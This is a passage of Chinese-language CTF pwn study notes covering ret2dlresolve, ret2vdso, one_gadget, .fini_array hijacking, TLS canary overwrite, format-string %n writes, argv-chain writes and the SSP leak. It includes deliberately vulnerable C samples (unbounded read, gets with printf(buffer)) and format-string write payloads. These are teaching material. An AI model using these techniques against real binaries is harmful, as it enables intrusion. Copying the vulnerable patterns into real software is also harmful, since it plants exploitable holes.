LOAD:0000000000400718 Elf64_Rela <404050h, 900000007h, 0> ; R_X86_64_JUMP_SLOT signal
LOAD:0000000000400730 Elf64_Rela <404058h, 0B00000007h, 0> ; R_X86_64_JUMP_SLOT realloc
LOAD:0000000000400748 Elf64_Rela <404060h, 0C00000007h, 0> ; R_X86_64_JUMP_SLOT setvbuf
LOAD:0000000000400760 Elf64_Rela <404068h, 0D00000007h, 0> ; R_X86_64_JUMP_SLOT __isoc99_scanf
```
存的值是<404038h, 500000007h, 0>
0x404038是printf GOT
0x500000007是info
最後是addend
https://elixir.bootlin.com/glibc/glibc-2.37/source/elf/elf.h#L652
```c
/* Relocation table entry with addend (in section of type SHT_RELA). */
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
Elf32_Sword r_addend; /* Addend */
} Elf32_Rela;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
```
至於為何 strtab + sym->st_name
見下方
```c
LOAD:00000000004004D0 ; ELF String Table
LOAD:00000000004004D0 unk_4004D0 db 0 ; DATA XREF: LOAD:0000000000400350↑o
LOAD:00000000004004D0 ; LOAD:0000000000400368↑o ...
LOAD:00000000004004D1 aLibcSo6 db 'libc.so.6',0 ; DATA XREF: LOAD:00000000004005B8↓o
LOAD:00000000004004DB aIsoc99Scanf db '__isoc99_scanf',0 ; DATA XREF: LOAD:0000000000400470↑o
LOAD:00000000004004EA aReadChk db '__read_chk',0 ; DATA XREF: LOAD:0000000000400368↑o
LOAD:00000000004004F5 aSignal db 'signal',0 ; DATA XREF: LOAD:0000000000400410↑o
LOAD:00000000004004FC aPuts db 'puts',0 ; DATA XREF: LOAD:0000000000400380↑o
LOAD:0000000000400501 aStackChkFail db '__stack_chk_fail',0 ; DATA XREF: LOAD:0000000000400398↑o
LOAD:0000000000400512 aRealloc db 'realloc',0 ; DATA XREF: LOAD:0000000000400440↑o
LOAD:000000000040051A aStdin db 'stdin',0 ; DATA XREF: LOAD:00000000004004A0↑o
LOAD:0000000000400520 aExit db '_exit',0 ; DATA XREF: LOAD:0000000000400350↑o
LOAD:0000000000400526 aPrintf db 'printf',0 ; DATA XREF: LOAD:00000000004003B0↑o
LOAD:000000000040052D aStdout db 'stdout',0 ; DATA XREF: LOAD:0000000000400488↑o
LOAD:0000000000400534 aStderr db 'stderr',0 ; DATA XREF: LOAD:00000000004004B8↑o
LOAD:000000000040053B aAlarm db 'alarm',0 ; DATA XREF: LOAD:00000000004003C8↑o
LOAD:0000000000400541 aSetvbuf db 'setvbuf',0 ; DATA XREF: LOAD:0000000000400458↑o
LOAD:0000000000400549 aAtoll db 'atoll',0 ; DATA XREF: LOAD:00000000004003F8↑o
LOAD:000000000040054F aLibcStartMain db '__libc_start_main',0
LOAD:000000000040054F ; DATA XREF: LOAD:00000000004003E0↑o
LOAD:0000000000400561 aGlibc27 db 'GLIBC_2.7',0 ; DATA XREF: LOAD:00000000004005C8↓o
LOAD:000000000040056B aGlibc24 db 'GLIBC_2.4',0 ; DATA XREF: LOAD:00000000004005D8↓o
LOAD:0000000000400575 aGlibc225 db 'GLIBC_2.2.5',0 ; DATA XREF: LOAD:00000000004005E8↓o
LOAD:0000000000400581 aGmonStart db '__gmon_start__',0 ; DATA XREF: LOAD:0000000000400428↑o
```
string table位於 0x4004D0
printf在string table的位置是 0x400526
去看 symbol table
offset aPrintf -> 0x400526
offset unk_4004D0 -> 0x4004D0
```c
LOAD:0000000000400338 ; ELF Symbol Table
LOAD:0000000000400338 Elf64_Sym <0>
LOAD:0000000000400350 Elf64_Sym <offset aExit - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "_exit"
LOAD:0000000000400368 Elf64_Sym <offset aReadChk - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "__read_chk"
LOAD:0000000000400380 Elf64_Sym <offset aPuts - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "puts"
LOAD:0000000000400398 Elf64_Sym <offset aStackChkFail - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "__stack_chk_fail"
LOAD:00000000004003B0 Elf64_Sym <offset aPrintf - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "printf"
LOAD:00000000004003C8 Elf64_Sym <offset aAlarm - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "alarm"
LOAD:00000000004003E0 Elf64_Sym <offset aLibcStartMain - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "__libc_start_main"
LOAD:00000000004003F8 Elf64_Sym <offset aAtoll - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "atoll"
LOAD:0000000000400410 Elf64_Sym <offset aSignal - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "signal"
LOAD:0000000000400428 Elf64_Sym <offset aGmonStart - offset unk_4004D0, 20h, 0, 0, 0, 0> ; "__gmon_start__"
LOAD:0000000000400440 Elf64_Sym <offset aRealloc - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "realloc"
LOAD:0000000000400458 Elf64_Sym <offset aSetvbuf - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "setvbuf"
LOAD:0000000000400470 Elf64_Sym <offset aIsoc99Scanf - offset unk_4004D0, 12h, 0, 0, 0, 0> ; "__isoc99_scanf"
LOAD:0000000000400488 Elf64_Sym <offset aStdout - offset unk_4004D0, 11h, 0, 18h, \ ; "stdout"
LOAD:0000000000400488 offset __bss_start, 8>
LOAD:00000000004004A0 Elf64_Sym <offset aStdin - offset unk_4004D0, 11h, 0, 18h, \ ; "stdin"
LOAD:00000000004004A0 offset stdin@@GLIBC_2_2_5, 8>
LOAD:00000000004004B8 Elf64_Sym <offset aStderr - offset unk_4004D0, 11h, 0, 18h, \ ; "stderr"
LOAD:00000000004004B8 offset stderr@@GLIBC_2_2_5, 8>
```
所以 sym = 0x56
0x4004D0 + 0x56 = 0x400526
也就是 st_name
總而言之,經過了蒐集各個table等等的資訊,修復GOT的位置
最後成功填入function libc address,就是fixup在做的事情
### 利用 64 bits NO RELRO
No RELRO - .dynamic 跟 GOT 都可以寫
Partial RELRO - .dynamic不可寫,GOT可以寫
Full RELRO - .dynamic 跟 GOT 都不可寫,函式的地址在程式開始執行之前就會都先填好
開始講,怎麼樣利用dl_runtime_resolve這個機制
首先我們說到他會call `dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL)`
而會修復成甚麼東西跟第一個參數 strtab + sym->st_name 有很大的關係
l_info[DT_STRTAB] -> .dynamic DT_STRTAB pointer
如果我偽造一張string table在其他地方,並且我們去修改
DT_STRTAB pointer指向位置成我們的假table,就可以在讓我們實際修出來的是system或execve之類的(NO RELRO .dynamic可寫,所以可以動)
```c
// gcc chal.c -o chal -fno-stack-protector -no-pie -z noexecstack -z norelro
#include <stdio.h>
void vuln()
{
asm("pop %rdi ; ret");
asm("pop %rsi ; ret");
asm("pop %rdx ; ret");
}
int main()
{
char buf[128] = {0};
read(0, buf, 0x1000);
return 0;
}
```
## ret2vdso
virtual dynamic shared object
早期 32 bits的時候 OS 會透過 interrupt的方式在usermode去處發syscall
https://en.wikipedia.org/wiki/Call_gate_(Intel)
中斷號 0x80 就是syscall
也就是`int 0x80`
但是用 int 0x80 速度有點慢,所以出現了快速syscall
32 位元的處理器 (即 IA32): sysenter 和 sysexit
64 位元的處理器 (即 x86_64): syscall 和 sysret
然而在兼容性上出了問題,所以出現了vsyscall,具體怎麼syscall由kernel決定,vsyscall實現在vdso中實現
### memory segment
```
naup@naup-virtual-machine:~/Desktop/NHNC-CTF-challege/slime_revenge_revenge/solver$ cat /proc/self/maps | grep vdso
7ffcf2bcf000-7ffcf2bd1000 r-xp 00000000 00:00 0 [vdso]
naup@naup-virtual-machine:~/Desktop/NHNC-CTF-challege/slime_revenge_revenge/solver$ cat /proc/self/maps | grep vsyscall
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
```
### vdso ASLR
先看x86的vdso ASLR,基本上沒有很多種可能
### reference
https://xz.aliyun.com/t/5236?time__1311=n4%2BxnieWw4yDRDRxQqGNDQa4C3xBll7B1rAoD
https://blog.csdn.net/Rong_Toa/article/details/115299552
## One gadget
- 下載
```
sudo apt -y install ruby
sudo gem install one_gadget
```
- 使用
```
one_gadget libc-2.23.so
```
libc中有些one gadget只要滿足條件跳過去就可以get shell(用one gadget看到的地址要加上libc base)
```
$ one_gadget libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
```
### demo
https://hackmd.io/@naup96321/HkWFe5-SC
## .init_array & .fini_array hijack
![image](https://hackmd.io/_uploads/SJZYg6E50.png)
https://nocbtm.github.io/2020/02/20/%C2%96-fini-array%E6%AE%B5%E5%8A%AB%E6%8C%81/#%E5%89%8D%E8%A8%80
https://blog.csdn.net/SmalOSnail/article/details/106005946
## TLS bypass canary
### TLS(Thread Local Storage)
TLS 是個讓每個執行緒都可以有一份自己的資料的機制
每個線程可以獨立的修改自己的副本,而不會影響到其他的線程,造成race condition等問題
就好像一個圖書館有很多書(全局變量),學生(線程)可以去拿書,但可能會造成資源衝突,所以做法是複製圖書館的書,存到自己的櫥櫃(TLS),這樣就可以避免衝突了
### TLS誤區
然而若global variable本意是要讓線程間共享,那TLS就不適用了,仍然需要mutex等做同步
### TLS用途
- 執行緒內共享變量:在一個執行緒內的不同方法之間共享變量,而不需要通過參數傳遞。TLS允許每個執行緒持有自己的變量副本,這樣可以在方法之間直接訪問這些變量。
- 每個執行緒獨立實例:在某些情況下,每個執行緒可能需要一個獨立的實例來存儲特定的數據。例如,資料庫連接對象、用戶會話信息等。使用TLS可以確保每個執行緒擁有自己的實例,從而避免執行緒之間的衝突。
- 累加操作優化:對於一些全域變量的累加操作,傳統上會使用互斥鎖(mutex)來避免race condition。但使用TLS,可以在每個執行緒中局部累加,然後在某個時機將結果匯總到全域變量。這種做法可以減少鎖的使用,提高程式的並發性能。
- 執行緒安全的全域變量:當需要使用全域變量但又希望執行緒安全時,TLS可以幫助實現這一點。每個執行緒使用自己的本地副本來存儲數據,而不直接訪問全域變量,從而避免race condition。
### TLS & canary
首先canary常被儲存在TLS中
多線程中的canary在每個線程都是被獨立存在TLS中,並由TCB管理,並在線程運行中拿出插到stack上(獨立的canary值)
然而TLS在stack高位,通過overflow可以覆蓋到TLS上的canary
條件是:
- 創建一個線程,並在線程中overflow
- 通常需求overflow的長度高達一個page
條件很嚴苛,但某些失誤導致使用者可以修改到stack_guard段的內容
### struct
攻擊前須要先了解兩個struct
struct pthread
```c
#include <stddef.h> // 为了使用 size_t
/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
// 定义线程控制块头部结构体
// 可以根据实际情况进行定义
// 例如:线程ID、状态信息等
int thread_id;
// 其他相关信息
} tcbhead_t;
/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
/* This overlaps the TCB as used for TLS without threads (see tls.h). */
tcbhead_t header; // 可能与TLS相关的头部信息
#else
struct {
// 更复杂的结构体定义
// 可能包含与TLS相关的更多详细信息
// ...
} header;
#endif
/* Extra padding for alignment and potential future use */
void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};
```
tcbhead_t
```c
typedef struct {
void *tcb; /* 指向线程控制块(TCB)的指针 */
dtv_t *dtv; /* 线程特定数据的指针 */
void *self; /* 指向线程描述符的指针 */
int multiple_threads; /* 标识是否有多个线程 */
int gscope_flag; /* 全局作用域标志 */
uintptr_t sysinfo; /* 系统信息 */
uintptr_t stack_guard;/* 堆栈保护 */
uintptr_t pointer_guard; /* 指针保护 */
/* 其他可能的字段... */
} tcbhead_t;
```
stack_guard那塊存放的就是canary的值
### TLScanary攻擊流程
- 定位到canary存放的位置
- 蓋掉canary
- bypass !
https://liupzmin.com/2019/09/30/concurrence/tls-summary/
### 題目
DASCTF X CBCTF 2023 binding
https://xz.aliyun.com/t/13074?time__1311=GqmhBKqIxGxBMx%2BoEYqi%3D5G%3D8itr4vYx
## format string
### 有哪些format string
|fmt|意思|
|---|---|
|%d|讀取十進制數值(存的值當指標去讀)|
|%x|讀取十六進制數值(存的值當指標去讀)|
|%s|讀取字串符數值(存的值當指標去讀)|
|%p|直接讀取|
## 讀取
printf參數依序為
rdi → rsi → rdx → rcx → r8 → r9 → rsp -> rsp+0x8 -> rsp+0x10
```c
printf("%d%c%s", a, b, c);
| | | |
rdi rsi rdx rcx
```
使用 %x$y 直接指定第幾個參數,這邊的 x 是第幾個參數,y 則是要使用的方法
```
%2$p // 印出 rdx (第 2 個參數)
%3$n // 寫入 rcx (第 3 個參數)
```
```c=
#include <stdio.h>
int main()
{
char buffer[20];
int a=12;
int b=10;
gets(buffer);
printf(buffer,a,b);
return 0;
}
```
輸入`%p %p %p %p %p %p %p`
![image](https://hackmd.io/_uploads/HJdU_ncX0.png)
![image](https://hackmd.io/_uploads/rJALonqm0.png)
![image](https://hackmd.io/_uploads/HyRLth57C.png)
輸出分別是 rsi → rdx → rcx → r8 → r9 → rsp -> rsp+0x8 -> rsp+0x10
## 寫入
`printf`可以使用%n來寫入指定位置(跟%s很像,只是變成寫入)
```
rsp + 0x10 -> adress -> %n寫入的位置
```
|format string|bytes|
|-------------|-----|
|%lln|8 bytes|
|%n|4 bytes|
|%hn|2 bytes|
|%hhn|1 byte|
### %n
會將printf輸出過的字元數量寫入指定位置
### 寫入字元數
寫入字元數字元數 % 256*(bytes數)
ex:若printf 20個字元,會寫入20 % 256 = 20
若printf 258個字元,會寫入258 % 256 = 2
### %c
可以透過%c 來指定要寫入的大小
```
%<寫入幾個字元>c%<位置>$hhn
```
ex: 寫入0x1234
第一次: %52c%<位置>$hhn (0x34)
第二次: %222c%?<位置>$hhn (0x12) -> 52+222=274、274-256=0x12
> (256-上一次寫入的值+這次寫入的值)%256
### 舉例
```
rsp -> %65c%8$h
rsp+0x8 -> 000000hn
rsp+0x10 -> 0x601040 -> "A"寫入
rsp+0x18 -> 00000000
```
## argv chain
argv chain 是利用 stack 上的 argv 來達成任意寫入的功能
### 舉例
```
0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6f682f
(rsp+0x58) (rsp+0x128) (rsp+0x360)
```
argv 0
```
0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6f682f
```
argv 1
```
0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6f682f
```
argv 2
```
0x7fffffffeb80 --> 0x72662f656d6f682f
```
我想把最後的0x72662f656d6f682f寫成`0xdeadbeef`並把東西寫道這上面
### 開始構造
首先我可以透過argv 1改到 0x7fffffffeb80這個位址
rsi → rdx → rcx → r8 → r9 → rsp -> rsp+0x8 -> rsp+0x10 ...
$rsp + (n-6) \times 0x8$
rsp+0x128 -> 43
所以
> %48879c%43$hn
會讓最後2 bytes變成`beef`
argv 0
```
0x7fffffffe878 --> 0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6fbeef
```
argv 1
```
0x7fffffffe948 --> 0x7fffffffeb80 --> 0x72662f656d6fbeef
```
argv 2
```
0x7fffffffeb80 --> 0x72662f656d6fbeef
```
## SSP(Stack Smashing Protect) leak
https://elixir.bootlin.com/glibc/glibc-2.23.90/source/debug/stack_chk_fail.c
```c
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
```
https://elixir.bootlin.com/glibc/glibc-2.23.90/source/debug/fortify_fail.c#L26
```c
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
```
如果觸發了stack smashing detect的話,可以觀察到 ./demo來自於argv 0存的指標指向的值,所以如果我可以蓋掉argv0就可以任意讀了
![image](https://hackmd.io/_uploads/SJbHVUOjC.png)
暴力送了 b'A'*2000
發現變成segement default
```c
► 0x728e0a65f82d <getenv+173> cmp r12w, word ptr [rbx]
0x728e0a65f831 <getenv+177> jne getenv+160
```
去看了一下rbx是啥
變成了`RBX 0x4141414141414141 ('AAAAAAAA')`
導致pointer指向錯誤
確實可以一次任意讀